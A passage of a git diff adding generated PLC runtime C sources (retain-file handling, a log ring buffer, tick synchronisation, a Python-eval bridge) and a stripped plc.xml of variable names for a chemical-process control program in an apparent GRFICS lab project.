? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.c new file mode 100644 index 0000000..1343d89 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.c @@ -0,0 +1,221 @@ +/* + * Python Asynchronous execution code + * + * PLC put python commands in a fifo, respecting execution order + * with the help of C pragmas inserted in python_eval FB code + * + * Buffer content is read asynchronously, (from non real time part), + * commands are executed and result stored for later use by PLC. + * + * In this implementation, fifo is a list of pointer to python_eval + * function blocks structures. Some local variables have been added in + * python_eval interface. We use those local variables as buffer and state + * flags. + * + * */ + +#include "iec_types_all.h" +#include "POUS.h" +#include + +/* The fifo (fixed size, as number of FB is fixed) */ +static PYTHON_EVAL* EvalFBs[1]; +/* Producer and consumer cursors */ +static int Current_PLC_EvalFB; +static int Current_Python_EvalFB; + +/* A global IEC-Python gateway state, for use inside python_eval FBs*/ +static int PythonState; +#define PYTHON_LOCKED_BY_PYTHON 0 +#define PYTHON_LOCKED_BY_PLC 1 +#define PYTHON_MUSTWAKEUP 2 +#define PYTHON_FINISHED 4 + +/* Each python_eval FunctionBlock have it own state */ +#define PYTHON_FB_FREE 0 +#define PYTHON_FB_REQUESTED 1 +#define PYTHON_FB_PROCESSING 2 +#define PYTHON_FB_ANSWERED 3 + +int WaitPythonCommands(void); +void UnBlockPythonCommands(void); +int TryLockPython(void); +void UnLockPython(void); +void LockPython(void); + +int __init_py_ext() +{ + int i; + /* Initialize cursors */ + Current_Python_EvalFB = 0; + Current_PLC_EvalFB = 0; + PythonState = PYTHON_LOCKED_BY_PYTHON; + for(i = 0; i < 1; i++) + EvalFBs[i] = NULL; + return 0; +} + +void __cleanup_py_ext() +{ + PythonState = PYTHON_FINISHED; + UnBlockPythonCommands(); +} + +void __retrieve_py_ext() +{ + /* Check Python thread is not being + * modifying internal python_eval data */ + PythonState = TryLockPython() ? + PYTHON_LOCKED_BY_PLC : + PYTHON_LOCKED_BY_PYTHON; + /* If python thread _is_ in, then PythonState remains PYTHON_LOCKED_BY_PYTHON + * and python_eval will no do anything */ +} + +void __publish_py_ext() +{ + if(PythonState & PYTHON_LOCKED_BY_PLC){ + /* If runnig PLC did push something in the fifo*/ + if(PythonState & PYTHON_MUSTWAKEUP){ + /* WakeUp python thread */ + UnBlockPythonCommands(); + } + UnLockPython(); + } +} +/** + * Called by the PLC, each time a python_eval + * FB instance is executed + */ +void __PythonEvalFB(int poll, PYTHON_EVAL* data__) +{ + if(!__GET_VAR(data__->TRIG)){ + /* ACK is False when TRIG is false, except a pulse when receiving result */ + __SET_VAR(data__->, ACK,, 0); + } + /* detect rising edge on TRIG to trigger evaluation */ + if(((__GET_VAR(data__->TRIG) && !__GET_VAR(data__->TRIGM1)) || + /* polling is equivalent to trig on value rather than on rising edge*/ + (poll && __GET_VAR(data__->TRIG) )) && + /* trig only if not already trigged */ + __GET_VAR(data__->TRIGGED) == 0){ + /* mark as trigged */ + __SET_VAR(data__->, TRIGGED,, 1); + /* make a safe copy of the code */ + __SET_VAR(data__->, PREBUFFER,, __GET_VAR(data__->CODE)); + } + /* retain value for next rising edge detection */ + __SET_VAR(data__->, TRIGM1,, __GET_VAR(data__->TRIG)); + + /* python thread is not in ? */ + if( PythonState & PYTHON_LOCKED_BY_PLC){ + /* if some answer are waiting, publish*/ + if(__GET_VAR(data__->STATE) == PYTHON_FB_ANSWERED){ + /* Copy buffer content into result*/ + __SET_VAR(data__->, RESULT,, __GET_VAR(data__->BUFFER)); + /* signal result presence to PLC*/ + __SET_VAR(data__->, ACK,, 1); + /* Mark as free */ + __SET_VAR(data__->, STATE,, PYTHON_FB_FREE); + /* mark as not trigged */ + if(!poll) + __SET_VAR(data__->, TRIGGED,, 0); + /*printf("__PythonEvalFB pop %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + }else if(poll){ + /* when in polling, no answer == ack down */ + __SET_VAR(data__->, ACK,, 0); + } + /* got the order to act ?*/ + if(__GET_VAR(data__->TRIGGED) == 1 && + /* and not already being processed */ + __GET_VAR(data__->STATE) == PYTHON_FB_FREE) + { + /* Enter the block in the fifo + * Don't have to check if fifo cell is free + * as fifo size == FB count, and a FB cannot + * be requested twice */ + EvalFBs[Current_PLC_EvalFB] = data__; + /* copy into BUFFER local*/ + __SET_VAR(data__->, BUFFER,, __GET_VAR(data__->PREBUFFER)); + /* Set ACK pin to low so that we can set a rising edge on result */ + if(!poll){ + /* when not polling, a new answer imply reseting ack*/ + __SET_VAR(data__->, ACK,, 0); + }else{ + /* when in polling, acting reset trigger */ + __SET_VAR(data__->, TRIGGED,, 0); + } + /* Mark FB busy */ + __SET_VAR(data__->, STATE,, PYTHON_FB_REQUESTED); + /* Have to wakeup python thread in case he was asleep */ + PythonState |= PYTHON_MUSTWAKEUP; + /*printf("__PythonEvalFB push %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + /* Get a new line */ + Current_PLC_EvalFB = (Current_PLC_EvalFB + 1) % 1; + } + } +} + +char* PythonIterator(char* result, void** id) +{ + char* next_command; + PYTHON_EVAL* data__; + //printf("PythonIterator result %s\n", result); + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + /* take python mutex to prevent changing PLC data while PLC running */ + LockPython(); + /* Get current FB */ + data__ = EvalFBs[Current_Python_EvalFB]; + if(data__ && /* may be null at first run */ + __GET_VAR(data__->STATE) == PYTHON_FB_PROCESSING){ /* some answer awaited*/ + /* If result not None */ + if(result){ + /* Get results len */ + __SET_VAR(data__->, BUFFER, .len, strlen(result)); + /* prevent results overrun */ + if(__GET_VAR(data__->BUFFER, .len) > STR_MAX_LEN) + { + __SET_VAR(data__->, BUFFER, .len, STR_MAX_LEN); + /* TODO : signal error */ + } + /* Copy results to buffer */ + strncpy((char*)__GET_VAR(data__->BUFFER, .body), result, __GET_VAR(data__->BUFFER,.len)); + }else{ + __SET_VAR(data__->, BUFFER, .len, 0); + } + /* remove block from fifo*/ + EvalFBs[Current_Python_EvalFB] = NULL; + /* Mark block as answered */ + __SET_VAR(data__->, STATE,, PYTHON_FB_ANSWERED); + /* Get a new line */ + Current_Python_EvalFB = (Current_Python_EvalFB + 1) % 1; + //printf("PythonIterator ++ Current_Python_EvalFB %d\n", Current_Python_EvalFB); + } + /* while next slot is empty */ + while(((data__ = EvalFBs[Current_Python_EvalFB]) == NULL) || + /* or doesn't contain command */ + __GET_VAR(data__->STATE) != PYTHON_FB_REQUESTED) + { + UnLockPython(); + /* wait next FB to eval */ + //printf("PythonIterator wait\n"); + if(WaitPythonCommands()) return NULL; + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + LockPython(); + } + /* Mark block as processing */ + __SET_VAR(data__->, STATE,, PYTHON_FB_PROCESSING); + //printf("PythonIterator\n"); + /* make BUFFER a null terminated string */ + __SET_VAR(data__->, BUFFER, .body[__GET_VAR(data__->BUFFER, .len)], 0); + /* next command is BUFFER */ + next_command = (char*)__GET_VAR(data__->BUFFER, .body); + *id=data__; + /* free python mutex */ + UnLockPython(); + /* return the next command to eval */ + return next_command; +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.o new file mode 100644 index 0000000..79ca9f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/plc.xml b/plc/GRFICS_Workstation_Docs/Documents/chemical/plc.xml new file mode 100644 index 0000000..ab595e3 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/plc.xml @@ -0,0 +1,5125 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_setpoint + + + + + + + a_in_purge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + f2_valve_sp + + + + + + + pressure_sp + + + + + + + pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_pos + + + + + + + f2_valve_pos + + + + + + + purge_valve_pos + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + flow_set + + + + + + + override_sp + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + level_sp + + + + + + + product_valve_pos + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + a_setpoint + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + pressure_sp + + + + + + + + + + + + + override_sp + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + run_bit + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_valve_sp + + + + + + + 0 + + + + + + + 65535 + + + + + + + 65535 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_sp_real + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + flow_k + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 